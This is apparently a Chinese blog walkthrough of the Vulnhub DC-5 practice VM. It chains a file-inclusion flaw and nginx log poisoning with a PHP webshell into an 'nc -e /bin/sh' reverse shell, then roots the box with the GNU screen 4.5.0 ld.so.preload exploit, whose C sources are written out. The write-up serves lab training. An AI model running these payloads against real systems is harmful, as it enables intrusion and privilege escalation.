Vulnhub靶机DC系列-DC-5

9 篇文章 1 订阅

Vulnhub靶机DC系列-DC-5

靶场名称:DC-5
靶场地址:https://www.vulnhub.com/entry/dc-5,314/
下载地址:

DC-5.zip (Size: 521 MB)
Download: http://www.five86.com/downloads/DC-5.zip
Download (Mirror): https://download.vulnhub.com/dc/DC-5.zip
Download (Torrent): https://download.vulnhub.com/dc/DC-5.zip.torrent (Magnet)

VMware->文件->打开->选中 .ova 文件,导入,会提示导入失败,点重试就完事了(双击.ova好像就直接导入了-_-)

打开DC靶机(网络适配器看一下是不是NAT模式,不然扫不出来)

kali攻击机网段:192.168.210.0/24
nmap 扫一下DC-5靶机的网段

namp -sn x.x.x.x/x

在这里插入图片描述
靶机DC-5 IP:192.168.210.144
kali:192.168.210.137

扫描开放的端口,操作系统版本等等

nmap -sV -O 192.168.210.144

在这里插入图片描述111端口是SUN公司的RPC(Remote Procedure Call,远程过程调用)服务所开放的端口,主要用于分布式系统中不同计算机的内部进程通信,RPC在多种网络服务中都是很重要的组件。常见的RPC服务有rpc.mountd、NFS、rpc.statd、rpc.csmd、rpc.ttybd、amd等等。在Microsoft的Windows中,同样也有RPC服务。

访问页面(这说的好像不是人话(澳大利亚?),原谅老衲英文太烂,机翻就更没话说了),好的,什么有用的信息都没有
在这里插入图片描述在这里插入图片描述
contact有个提交口,随便测试一下,无果。
在这里插入图片描述
dirb扫一下目录吧,无果。
在这里插入图片描述
再来看看这个留言框
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
两次提交时间变了,猜测存在文件包含。
用dirbuster换个字典再扫一次
在这里插入图片描述发现一个新的文件
在这里插入图片描述确定是文件包含,判断参数(一般是file,基本都是),读取/etc/passwd
在这里插入图片描述中间件是nginx1.6.2,nginx日志文件在路径“/var/log/nginx/”下
在这里插入图片描述有回显,access.log也有回显,利用access.log,写入php语句反弹shell.
这里我卡住了,日志怎么都写不进去,后面发现应该是日志满了,只能重新导入镜像
然后就顺利了,写一句话

/thankyou.php?file=<?php system($_GET['cmd']);?>

在这里插入图片描述
在这里插入图片描述反弹shell

  • 靶机
 /thankyou.php?file=/var/log/nginx/error.log&cmd=nc -e /bin/sh 192.168.210.137 9999

在这里插入图片描述

  • kali
    nc -lvvp 9999
    在这里插入图片描述
    用python切换成交互shell
python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述
查找是否有可利用的suid文件

find / -perm /4000 2>/dev/null

/ 根目录
-perm /4000 查找SUID权限
2> 错误输出到空文件
在这里插入图片描述screen 可利用,searchsploit搜索一下用法

searchsploit screen 4.5.0

在这里插入图片描述

 cat /usr/share/exploitdb/exploits/linux/local/41154.sh 

在这里插入图片描述用法如下:

  • 创建并编译libhax.c
touch libhax.c
vim libhax.c
#include <stdio.h>
	#include <sys/types.h>
	#include <unistd.h>
	__attribute__ ((__constructor__))
	void dropshell(void){
	    chown("/tmp/rootshell", 0, 0);
	    chmod("/tmp/rootshell", 04755);
	    unlink("/etc/ld.so.preload");
	    printf("[+] done!\n");
	}

编译

gcc -fPIC -shared -ldl -o libhax.so libhax.c

在这里插入图片描述

  • 创建rootshell.c并编译文件
touch rootshell.c
vim rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

编译

gcc -o rootshell rootshell.c

在这里插入图片描述在这里插入图片描述

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
screen -ls # screen itself is setuid,so...
/tmp/rootshell

在保存dc5.sh文件输入 :set ff=unix ,否则在执行脚本文件时后出错
在这里插入图片描述

或者不用.sh脚本也行

根据提权说明,使用方法

首先输入命令:cd /etc

然后输入命令:umask 000

然后输入命令:screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"

然后输入命令:screen -ls

最后输入命令:/tmp/rootshell,成功提权
  • 蚁剑传上去这3个(用REQUEST ,GET和POST不知道为啥不行)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

提权成功在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值